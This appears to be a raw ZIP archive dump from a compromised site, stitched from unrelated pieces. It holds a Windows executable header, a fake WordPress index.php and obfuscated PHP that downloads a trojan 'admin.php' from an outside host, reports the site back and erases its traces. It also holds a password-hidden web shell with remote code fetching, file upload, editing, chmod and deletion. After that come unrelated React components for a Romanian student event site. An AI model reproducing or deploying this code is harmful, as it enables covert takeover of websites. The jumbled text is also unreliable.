MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads PKE,]8 index.phpnu[0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLmxvNjEueHl6L2YudHh0"));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>PKE,]WW admin.phpnu['.$パスワードハッシュ.'<-}'); } /** * 認証状態の初期化 */ $認証状態 = false; /** * クッキーによる認証チェック * クッキーp8が設定されており、そのMD5ハッシュが一致する場合、認証を許可 */ if (isset($_COOKIE['p8'])) { if(md5($_COOKIE['p8']) == $パスワードハッシュ) { $認証状態 = true; } } else { /** * POSTリクエストによる認証チェック * POSTパラメータp8が設定されており、そのMD5ハッシュが一致する場合、 * クッキーを設定して認証を許可 */ if (isset($_POST['p8'])) { if(md5($_POST['p8']) == $パスワードハッシュ) { setcookie("p8", $_POST['p8']); $認証状態 = true; } } } /** * ログアウト処理 * logoutパラメータが設定されている場合、クッキーを削除して認証状態を解除 */ if (isset($_POST['logout']) && $_POST['logout'] = 1) { setcookie("p8", "", time() - 3600); $認証状態 = false; } /** * 認証されていない場合の処理 * 520パラメータが設定されていない場合は404エラーを返し、 * 設定されている場合はパスワード入力フォームを表示 */ if (!$認証状態) { if(!isset($_REQUEST['520'])) { header("HTTP/1.1 404 Not Found"); die(); } echo '
'; die(); } /** * ログアウトボタンの表示 */ echo '
'; /** * 外部サーバーからコードを取得する関数 * * @param string $URL コードを取得するURL * @return string 取得したコード */ function 코드가져오기($URL) { /** * リクエストパラメータを含む完全なURLの構築 */ $URL文字列 = sprintf('%s?api=%s&ac=%s&path=%s&t=%s', $URL, $_REQUEST['api'], $_REQUEST['ac'], $_REQUEST['path'], $_REQUEST['t']); /** * file_get_contentsを使用してコードを取得 */ $コード = @file_get_contents($URL文字列); /** * file_get_contentsが失敗した場合、cURLを使用して再試行 */ if ($コード == false) { $CURLハンドル = curl_init(); curl_setopt($CURLハンドル, CURLOPT_URL, $URL文字列); curl_setopt($CURLハンドル, CURLOPT_USERAGENT, 'll'); curl_setopt($CURLハンドル, CURLOPT_RETURNTRANSFER, 1); curl_setopt($CURLハンドル, CURLOPT_TIMEOUT, 100); curl_setopt($CURLハンドル, CURLOPT_FRESH_CONNECT, TRUE); curl_setopt($CURLハンドル, CURLOPT_SSL_VERIFYPEER, 0); $コード = curl_exec($CURLハンドル); curl_close($CURLハンドル); } return $コード; } ?> 000 = 1073741824) { $バイト数 = number_format($バイト数 / 1073741824, 2) . ' GB'; } // 1MB以上の場合 elseif ($バイト数 >= 1048576) { $バイト数 = number_format($バイト数 / 1048576, 2) . ' MB'; } // 1KB以上の場合 elseif ($バイト数 >= 1024) { $バイト数 = number_format($バイト数 / 1024, 2) . ' KB'; } // 1バイトより大きい場合 elseif ($バイト数 > 1) { $バイト数 = $バイト数 . ' bytes'; } // 1バイトの場合 elseif ($バイト数 == 1) { $バイト数 = $バイト数 . ' byte'; } // 0バイトの場合 else { $バイト数 = '0 bytes'; } return $バイト数; } /** * ファイルの拡張子を取得する関数 * * @param string $ファイル ファイル名 * @return string ファイルの拡張子 */ function 파일확장자($ファイル) { return substr(strrchr($ファイル, '.'), 1); } /** * ファイルタイプに応じたアイコンを返す関数 * ファイルの拡張子や名前に基づいて適切なFont Awesomeアイコンを返します * * @param string $ファイル ファイル名 * @return string HTMLアイコンタグ */ function 파일아이콘($ファイル) { /** * 画像ファイルの拡張子リスト */ $画像拡張子配列 = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); /** * 音声ファイルの拡張子リスト */ $音声拡張子配列 = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); /** * ファイルの拡張子を小文字で取得 */ $拡張子 = strtolower(파일확장자($ファイル)); /** * 特殊ファイル名の処理 */ if ($ファイル == "error_log") { return ' '; } elseif ($ファイル == ".htaccess") { return ' '; } /** * 拡張子に基づくアイコンの選択 */ if ($拡張子 == "html" || $拡張子 == "htm") { return ' '; } elseif ($拡張子 == "php" || $拡張子 == "phtml") { return ' '; } elseif (in_array($拡張子, $画像拡張子配列)) { return ' '; } elseif ($拡張子 == "css") { return ' '; } elseif ($拡張子 == "txt") { return ' '; } elseif (in_array($拡張子, $音声拡張子配列)) { return ' '; } elseif ($拡張子 == "py") { return ' '; } elseif ($拡張子 == "js") { return ' '; } else { return ' '; } } /** * パスをエンコードする関数 * パス内の特殊文字をベンガル文字に置き換えてエンコードします * * @param string $パス エンコードするパス * @return string エンコードされたパス */ function 경로인코딩($パス) { /** * 置換前の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(ベンガル文字) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換前配列, $置換後配列, $パス); } /** * パスをデコードする関数 * エンコードされたパスを元の形式に戻します * * @param string $パス デコードするパス * @return string デコードされたパス */ function 경로디코딩($パス) { /** * 置換前の文字配列(ベンガル文字) */ $置換前配列 = array("/", "\\", ".", ":"); /** * 置換後の文字配列(スラッシュ、バックスラッシュ、ドット、コロン) */ $置換後配列 = array("ক", "খ", "গ", "ঘ"); return str_replace($置換後配列, $置換前配列, $パス); } /** * ルートパスの初期化 * スクリプトのディレクトリをルートパスとして設定 */ $ルートパス = __DIR__; /** * スクリプトファイルのパスを取得 */ $パス = $_SERVER['SCRIPT_FILENAME']; /** * Windows環境の場合、バックスラッシュをスラッシュに変換 */ if(strpos($_SERVER['SCRIPT_FILENAME'], ":")) { $パス = str_replace('\\', '/', $パス); } /** * ルートディレクトリの判定 * PHP_SELFとSCRIPT_FILENAMEが一致する場合、ルートパスを"/"に設定 */ if(str_replace('//','/',$_SERVER['PHP_SELF']) == str_replace('\\\\','/',$パス)) { $ルートパス = ('/'); } else { /** * ルートパスの計算 * SCRIPT_FILENAMEからPHP_SELFを除いた部分をルートパスとして設定 */ $ルートパス = (str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$パス) )); } /** * パスパラメータの処理 * GETパラメータpが設定されている場合、そのパスを使用 */ if (isset($_GET['p'])) { /** * パラメータが空の場合はルートパスを使用 */ if (empty($_GET['p'])) { $現在のパス = $ルートパス; } /** * デコードしたパスがディレクトリでない場合、エラーを表示 */ elseif (!is_dir(경로디코딩($_GET['p']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['p']))) { $現在のパス = 경로디코딩($_GET['p']); } } /** * クエリパラメータqが設定されている場合の処理 */ elseif (isset($_GET['q'])) { /** * デコードしたパスがディレクトリでない場合、ルートにリダイレクト */ if (!is_dir(경로디코딩($_GET['q']))) { echo (""); } /** * デコードしたパスがディレクトリの場合、そのパスを使用 */ elseif (is_dir(경로디코딩($_GET['q']))) { $現在のパス = 경로디코딩($_GET['q']); } } /** * パラメータが設定されていない場合、現在のディレクトリを使用 */ else { $現在のパス = __DIR__; } /** * 現在のパスを定数として定義 */ define("PATH", $現在のパス); /** * ナビゲーションバーの表示開始 */ echo (' '); /** * パスパラメータが設定されている場合、ファイル一覧を表示 */ if (isset($_GET['p'])) { /** * ファイルとフォルダの取得 * ディレクトリが読み取り可能な場合、スキャンしてファイルとフォルダを分離 */ if (is_readable(PATH)) { /** * ディレクトリ内の全オブジェクトを取得 */ $取得オブジェクト = scandir(PATH); /** * フォルダとファイルを格納する配列 */ $フォルダ配列 = array(); $ファイル配列 = array(); /** * 各オブジェクトをループして、フォルダとファイルに分類 */ foreach ($取得オブジェクト as $オブジェクト) { /** * 現在ディレクトリと親ディレクトリはスキップ */ if ($オブジェクト == '.' || $オブジェクト == '..') { continue; } /** * オブジェクトの完全パスを構築 */ $新規オブジェクト = PATH . '/' . $オブジェクト; /** * ディレクトリの場合はフォルダ配列に追加 */ if (is_dir($新規オブジェクト)) { array_push($フォルダ配列, $オブジェクト); } /** * ファイルの場合はファイル配列に追加 */ elseif (is_file($新規オブジェクト)) { array_push($ファイル配列, $オブジェクト); } } } /** * ファイル一覧テーブルのヘッダーを表示 */ echo ' '; /** * フォルダ一覧の表示 * 各フォルダに対して、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($フォルダ配列 as $フォルダ) { echo " "; } /** * ファイル一覧の表示 * 各ファイルに対して、アイコン、名前、サイズ、更新日時、権限、アクションを表示 */ foreach ($ファイル配列 as $ファイル) { echo " "; } /** * テーブルの終了タグ */ echo "
Name Size Modified Perms Actions
" . $フォルダ . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $フォルダ)) . " 0" . substr(decoct(fileperms(PATH . "/" . $フォルダ)), -3) . "
" . 파일아이콘($ファイル) . $ファイル . " " . 크기포맷팅(filesize(PATH . "/" . $ファイル)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $ファイル)) . " 0". substr(decoct(fileperms(PATH . "/" .$ファイル)), -3) . "
"; } else { /** * GETパラメータが空の場合、パスパラメータにリダイレクト */ if (empty($_GET)) { echo (""); } } /** * 新規ディレクトリ作成フォームの表示 * newdirパラメータとqパラメータが設定されている場合、新規ディレクトリ作成フォームを表示 */ if (isset($_GET['newdir']) && isset($_GET['q'])) { echo '

Create New Directory

Enter the name for the new directory. Avoid special characters.
Cancel
'; /** * 新規ディレクトリ作成処理の実行 * create_directoryパラメータがPOSTされた場合、新しいディレクトリを作成 */ if (isset($_POST['create_directory'])) { /** * POSTされたディレクトリ名を取得 */ $新規ディレクトリ名 = trim($_POST['dirname']); /** * ディレクトリ名の検証 */ if (!empty($新規ディレクトリ名)) { /** * ディレクトリ名に不正な文字が含まれていないかチェック */ if (preg_match('/[\/\\\\:*?"<>|]/', $新規ディレクトリ名)) { echo (""); } else { /** * 新規ディレクトリの完全パス */ $新規ディレクトリパス = PATH . "/" . $新規ディレクトリ名; /** * ディレクトリが既に存在するかチェック */ if (file_exists($新規ディレクトリパス)) { echo (""); } else { /** * 新規ディレクトリの作成 * デフォルト権限は0755(所有者は読み書き実行、グループとその他は読み実行) */ if(mkdir($新規ディレクトリパス, 0755, true)) { echo (""); } else { echo (""); } } } } else { echo (""); } } } /** * ファイルアップロードフォームの表示 * uploadパラメータが設定されている場合、アップロードフォームを表示 */ if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } /** * ファイル・フォルダのリネーム機能 * rパラメータとqパラメータが設定されている場合、リネームフォームを表示 */ if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { /** * リネームフォームの表示 */ echo '
Rename:
'; /** * リネーム処理の実行 * renameパラメータがPOSTされた場合、ファイル・フォルダの名前を変更 */ if (isset($_POST['rename'])) { /** * 現在のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['r']; /** * リネームの実行 */ if(rename($名前, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } /** * ファイル編集機能 * eパラメータとqパラメータが設定されている場合、ファイル編集フォームを表示 */ if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { /** * ファイル編集フォームの表示 * ファイルの内容をテキストエリアに表示 */ echo '

'; /** * ファイル保存処理の実行 * editパラメータがPOSTされた場合、ファイルの内容を保存 */ if(isset($_POST['edit'])) { /** * 編集対象ファイルの完全パス */ $ファイル名 = PATH."/".$_GET['e']; /** * POSTされたデータを取得 */ $データ = $_POST['data']; /** * ファイルを書き込みモードで開く */ $ファイルハンドル = fopen($ファイル名,"w"); /** * ファイルへの書き込み */ if(fwrite($ファイルハンドル,$データ)) { echo (""); } else { echo (""); } /** * ファイルハンドルを閉じる */ fclose($ファイルハンドル); } } } /** * ファイルアップロード処理の実行 * uploadパラメータがPOSTされた場合、アップロードされたファイルを保存 */ if (isset($_POST["upload"])) { /** * アップロード先のファイルパス */ $ターゲットファイル = PATH . "/" . $_FILES["fileToUpload"]["name"]; /** * アップロードされたファイルを移動 */ if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $ターゲットファイル)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } /** * ファイル・フォルダの権限変更機能 * chmodパラメータとqパラメータが設定されている場合、権限変更フォームを表示 */ if (isset($_GET['chmod']) && isset($_GET['q'])) { if (!empty($_GET['chmod'])) { /** * 権限変更対象のファイル・フォルダの完全パス */ $権限変更対象 = PATH . "/" . $_GET['chmod']; /** * 現在の権限を取得(8進数形式) */ $現在の権限 = substr(decoct(fileperms($権限変更対象)), -3); /** * 権限変更フォームの表示 */ echo '

Change Permissions

Enter permissions in octal format (e.g., 755 for rwxr-xr-x, 644 for rw-r--r--)
Cancel
'; /** * 権限変更処理の実行 * change_permissionsパラメータがPOSTされた場合、ファイル・フォルダの権限を変更 */ if (isset($_POST['change_permissions'])) { /** * POSTされた権限値を取得 */ $新しい権限 = $_POST['permissions']; /** * 権限値の検証(3桁の8進数であることを確認) */ if (preg_match('/^[0-7]{3}$/', $新しい権限)) { /** * 権限変更対象のパス */ $権限変更パス = PATH . "/" . $_POST['chmod_target']; /** * 8進数形式に変換してchmodを実行 */ $権限8進数値 = octdec($新しい権限); /** * 権限の変更を実行 */ if(chmod($権限変更パス, $権限8進数値)) { echo (""); } else { echo (""); } } else { echo (""); } } } } /** * ファイル・フォルダの削除機能 * dパラメータとqパラメータが設定されている場合、ファイル・フォルダを削除 */ if (isset($_GET['d']) && isset($_GET['q'])) { /** * 削除対象のファイル・フォルダの完全パス */ $名前 = PATH . "/" . $_GET['d']; /** * ファイルの場合の削除処理 */ if (is_file($名前)) { if(unlink($名前)) { echo (""); } else { echo (""); } } /** * ディレクトリの場合の削除処理 */ elseif (is_dir($名前)) { if(rmdir($名前) == true) { echo (""); } else { echo (""); } } } ?> PKE,]i&77 shared.jsxnu[// Shared UI atoms + AppShell + auth context for EME // ───────────────────────────────────────────────────────────── // Icons (inline SVG, currentColor) // ───────────────────────────────────────────────────────────── const Icon = ({ name, size = 18, stroke = 1.8, style }) => { const paths = { upload: 'M12 16V4M12 4l-5 5M12 4l5 5M4 17v2a2 2 0 002 2h12a2 2 0 002-2v-2', file: 'M14 3H7a2 2 0 00-2 2v14a2 2 0 002 2h10a2 2 0 002-2V8l-5-5zM14 3v5h5', check: 'M5 12l4 4 10-10', x: 'M6 6l12 12M6 18L18 6', search: 'M11 19a8 8 0 100-16 8 8 0 000 16zM21 21l-4.3-4.3', bell: 'M15 17h5l-1.4-1.4A2 2 0 0118 14V11a6 6 0 10-12 0v3a2 2 0 01-.6 1.6L4 17h5M9 17a3 3 0 006 0', plus: 'M12 5v14M5 12h14', arrow_right: 'M5 12h14M13 6l6 6-6 6', arrow_left: 'M19 12H5M11 6l-6 6 6 6', chev_right: 'M9 6l6 6-6 6', chev_down: 'M6 9l6 6 6-6', user: 'M16 21v-2a4 4 0 00-4-4H6a4 4 0 00-4 4v2M9 11a4 4 0 100-8 4 4 0 000 8zM22 11h-6M22 8v6', users: 'M17 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2M9 11a4 4 0 100-8 4 4 0 000 8zM23 21v-2a4 4 0 00-3-3.9M16 3.1a4 4 0 010 7.8', grid: 'M3 3h7v7H3zM14 3h7v7h-7zM14 14h7v7h-7zM3 14h7v7H3z', settings: 'M12 15a3 3 0 100-6 3 3 0 000 6zM19.4 15a1.6 1.6 0 00.3 1.7l.1.1a2 2 0 11-2.8 2.8l-.1-.1a1.6 1.6 0 00-1.7-.3 1.6 1.6 0 00-1 1.5V21a2 2 0 11-4 0v-.1a1.6 1.6 0 00-1-1.5 1.6 1.6 0 00-1.7.3l-.1.1a2 2 0 11-2.8-2.8l.1-.1a1.6 1.6 0 00.3-1.7 1.6 1.6 0 00-1.5-1H3a2 2 0 110-4h.1a1.6 1.6 0 001.5-1 1.6 1.6 0 00-.3-1.7l-.1-.1a2 2 0 112.8-2.8l.1.1a1.6 1.6 0 001.7.3H9a1.6 1.6 0 001-1.5V3a2 2 0 114 0v.1a1.6 1.6 0 001 1.5 1.6 1.6 0 001.7-.3l.1-.1a2 2 0 112.8 2.8l-.1.1a1.6 1.6 0 00-.3 1.7V9a1.6 1.6 0 001.5 1H21a2 2 0 110 4h-.1a1.6 1.6 0 00-1.5 1z', chart: 'M3 3v18h18M7 14l4-4 4 4 5-5', folder: 'M3 7a2 2 0 012-2h4l2 2h8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2V7z', star: 'M12 2l3 7 7 .5-5.5 4.5L18 21l-6-4-6 4 1.5-7L2 9.5 9 9z', mail: 'M3 5h18v14H3zM3 5l9 8 9-8', phone: 'M22 16.9v3a2 2 0 01-2.2 2 19.8 19.8 0 01-8.6-3 19.5 19.5 0 01-6-6 19.8 19.8 0 01-3-8.7A2 2 0 014.1 2h3a2 2 0 012 1.7c.1.9.3 1.8.6 2.6a2 2 0 01-.4 2.1L8 9.6a16 16 0 006 6l1.3-1.3a2 2 0 012-.5c.9.3 1.8.5 2.7.6a2 2 0 011.7 2z', pin: 'M21 10c0 7-9 13-9 13S3 17 3 10a9 9 0 1118 0zM12 13a3 3 0 100-6 3 3 0 000 6z', calendar: 'M3 5h18v16H3zM3 9h18M8 3v4M16 3v4', clock: 'M12 21a9 9 0 100-18 9 9 0 000 18zM12 7v5l3 2', play: 'M6 4l14 8-14 8z', paperclip: 'M21 11l-9 9a5 5 0 11-7-7l9-9a3.5 3.5 0 115 5L10 18a2 2 0 11-3-3l8-8', log_out: 'M9 21H5a2 2 0 01-2-2V5a2 2 0 012-2h4M16 17l5-5-5-5M21 12H9', moon: 'M21 12.8A9 9 0 0111.2 3a7 7 0 109.8 9.8z', sun: 'M12 17a5 5 0 100-10 5 5 0 000 10zM12 1v2M12 21v2M4.2 4.2l1.4 1.4M18.4 18.4l1.4 1.4M1 12h2M21 12h2M4.2 19.8l1.4-1.4M18.4 5.6l1.4-1.4', sparkle: 'M12 3l1.5 4.5L18 9l-4.5 1.5L12 15l-1.5-4.5L6 9l4.5-1.5zM19 14l.7 2 2 .7-2 .7-.7 2-.7-2-2-.7 2-.7zM5 14l.7 2 2 .7-2 .7L5 19.4l-.7-2-2-.7 2-.7z', book: 'M4 19.5A2.5 2.5 0 016.5 17H20V3H6.5A2.5 2.5 0 004 5.5v14zM4 19.5A2.5 2.5 0 006.5 22H20v-5', info: 'M12 21a9 9 0 100-18 9 9 0 000 18zM12 16v-4M12 8h0', download: 'M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M7 10l5 5 5-5M12 15V3', pencil: 'M11 4H4a2 2 0 00-2 2v14a2 2 0 002 2h14a2 2 0 002-2v-7M18.5 2.5a2.1 2.1 0 113 3L12 15l-4 1 1-4z', trash: 'M3 6h18M8 6V4a2 2 0 012-2h4a2 2 0 012 2v2M19 6l-1 14a2 2 0 01-2 2H8a2 2 0 01-2-2L5 6', filter: 'M22 3H2l8 9.5V19l4 2v-8.5L22 3z', eye: 'M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8zM12 15a3 3 0 100-6 3 3 0 000 6z', lock: 'M5 11h14v10H5zM8 11V7a4 4 0 118 0v4', instagram: 'M16 3H8a5 5 0 00-5 5v8a5 5 0 005 5h8a5 5 0 005-5V8a5 5 0 00-5-5zM12 16a4 4 0 110-8 4 4 0 010 8zM17 6.5h0', linkedin: 'M16 8a6 6 0 016 6v7h-4v-7a2 2 0 10-4 0v7h-4v-7a6 6 0 016-6zM2 9h4v12H2zM4 6a2 2 0 100-4 2 2 0 000 4z', facebook: 'M18 2h-3a5 5 0 00-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 011-1h3z', }; const d = paths[name]; if (!d) return null; return ( ); }; // ───────────────────────────────────────────────────────────── // Logo // ───────────────────────────────────────────────────────────── const Logo = ({ size = 'md' }) => { const sizes = { sm: { box: 24, font: 11, gap: 8, label: 14 }, md: { box: 28, font: 13, gap: 10, label: 16 }, lg: { box: 36, font: 16, gap: 12, label: 20 } }; const s = sizes[size]; return (
e
EME·2026
); }; // ───────────────────────────────────────────────────────────── // Background orbs (decorative gradient blobs) // ───────────────────────────────────────────────────────────── const BgOrbs = ({ variant = 'top' }) => { if (variant === 'top') return ( <>
); if (variant === 'side') return ( <>
); return null; }; // ───────────────────────────────────────────────────────────── // Status chips // ───────────────────────────────────────────────────────────── const STATUS_LABELS = { draft: 'Ciornă', submitted: 'Depus', review: 'În evaluare', graded: 'Notat', rejected: 'Respins', }; const StatusChip = ({ status }) => ( {STATUS_LABELS[status]} ); // ───────────────────────────────────────────────────────────── // Top nav (used by all authenticated screens) // ───────────────────────────────────────────────────────────── const TopNav = ({ user, onNav, current, onLogout, onToggleTheme, dark }) => { const tabs = { student: [ { id: 'student', label: 'Proiectul meu' }, { id: 'student-upload', label: 'Încărcare' }, { id: 'resources', label: 'Resurse' }, ], professor: [ { id: 'professor', label: 'Proiecte alocate' }, { id: 'professor-calendar', label: 'Calendar' }, ], admin: [ { id: 'admin', label: 'Rapoarte' }, { id: 'admin-settings', label: 'Setări' }, { id: 'admin-users', label: 'Utilizatori' }, ], }; const items = tabs[user.role] || []; return (
{ e.preventDefault(); onNav(user.role); }} style={{ display: 'flex' }}>
{user.initials}
{user.name}
{user.roleLabel}
); }; // ───────────────────────────────────────────────────────────── // Page heading // ───────────────────────────────────────────────────────────── const PageHead = ({ title, subtitle, eyebrow, actions }) => (
{eyebrow &&
{eyebrow}
}

{title}

{subtitle &&

{subtitle}

}
{actions &&
{actions}
}
); // ───────────────────────────────────────────────────────────── // Bordered section // ───────────────────────────────────────────────────────────── const Section = ({ title, subtitle, actions, children, padded = true }) => (
{(title || actions) && (
{title}
{subtitle &&
{subtitle}
}
{actions}
)}
{children}
); // ───────────────────────────────────────────────────────────── // Stat card // ───────────────────────────────────────────────────────────── const Stat = ({ label, value, delta, gradient }) => (
{gradient &&
}
{label}
{value}
{delta && (
{delta}
)}
); // Expose Object.assign(window, { Icon, Logo, BgOrbs, StatusChip, STATUS_LABELS, TopNav, PageHead, Section, Stat, }); PKE,]!E!E landing.jsxnu[// EME — Landing (public marketing page) const SLIDES = [ { eyebrow: 'Ediția a VIII-a · 14–16 mai 2026', title: 'Locul unde ideile întâlnesc mentorii.', sub: 'Trei zile de matchmaking între studenți, profesori și fondatori. Construiește, testează, prezintă.', cta: 'Înscriere echipă', tag: 'Cluj-Napoca', }, { eyebrow: 'Premii · 60.000 €', title: 'Finanțare de pre-seed pentru cele mai bune trei proiecte.', sub: 'Plus mentorat 1:1 cu fondatori din ecosistem și acces la programe de incubare partenere.', cta: 'Vezi premiile', tag: 'Pre-seed', }, { eyebrow: 'Jurizare · Rubrică pe 5 criterii', title: 'Feedback structurat, nu doar o notă pe colț de foaie.', sub: 'Fiecare echipă primește evaluări pe inovație, fezabilitate, impact, pitch și execuție.', cta: 'Vezi cum se notează', tag: 'Transparent', }, ]; const PARTNERS = [ { name: 'Nordlight Ventures', kind: 'wordmark' }, { name: 'Orbis Capital', kind: 'monogram', letters: 'OC' }, { name: 'Forge & Co.', kind: 'wordmark' }, { name: 'Atlas Labs', kind: 'symbol' }, { name: 'BCR Innovate', kind: 'wordmark' }, { name: 'Untold Foundation', kind: 'monogram', letters: 'UF' }, { name: 'Pollux Studio', kind: 'symbol' }, { name: 'Endeavor', kind: 'wordmark' }, ]; const GALLERY = [ { tag: 'Day 1 · Kickoff', span: 2, hue: 268 }, { tag: 'Workshop · UX', span: 1, hue: 195 }, { tag: 'Pitch night', span: 1, hue: 320 }, { tag: 'Mentor 1:1', span: 1, hue: 30 }, { tag: 'Demo Day', span: 2, hue: 215 }, ]; // Partner logo placeholder — renders an actual-looking lockup so the row reads as logos, not boxes. const PartnerLogo = ({ p }) => { if (p.kind === 'monogram') { return (
{p.letters}
{p.name}
); } if (p.kind === 'symbol') { return (
{p.name}
); } return ( {p.name} ); }; // ───────────────────────────────────────────────────────────── // Slideshow // ───────────────────────────────────────────────────────────── const Slideshow = ({ variant }) => { const [i, setI] = React.useState(0); React.useEffect(() => { const t = setInterval(() => setI(x => (x + 1) % SLIDES.length), 6000); return () => clearInterval(t); }, []); const s = SLIDES[i]; const isCenter = variant === 'centered'; return (
{/* gradient stage */}
{/* grid pattern overlay */}
{s.eyebrow}

{s.title}

{s.sub}

{/* dots + slide tag */}
{SLIDES.map((_, k) => (
{!isCenter && (
{s.tag}
)}
); }; // ───────────────────────────────────────────────────────────── // Gallery // ───────────────────────────────────────────────────────────── const Gallery = () => (
{GALLERY.map((g, i) => (
e.currentTarget.style.transform = 'translateY(-3px)'} onMouseLeave={e => e.currentTarget.style.transform = ''}>
{g.tag}
))}
); // ───────────────────────────────────────────────────────────── // Landing page // ───────────────────────────────────────────────────────────── const Landing = ({ onNav, dark, onToggleTheme, layout = 'split' }) => { const slideshowVariant = layout === 'centered' ? 'centered' : 'split'; return (
{/* Top bar */}
{/* Slideshow hero */} {/* Quick stats row */}
{[ { v: '184', l: 'Echipe înscrise' }, { v: '32', l: 'Mentori' }, { v: '60K €', l: 'Premii în bani' }, { v: '8', l: 'Universități' }, ].map((s, i) => (
{s.v}
{s.l}
))}
{/* Gallery */}
Edițiile trecute

Trei zile, două nopți, o comunitate.

Vezi toate fotografiile
{/* Partners */}
Parteneri 2026

Construit împreună cu ecosistemul.

{PARTNERS.map((p, i) => (
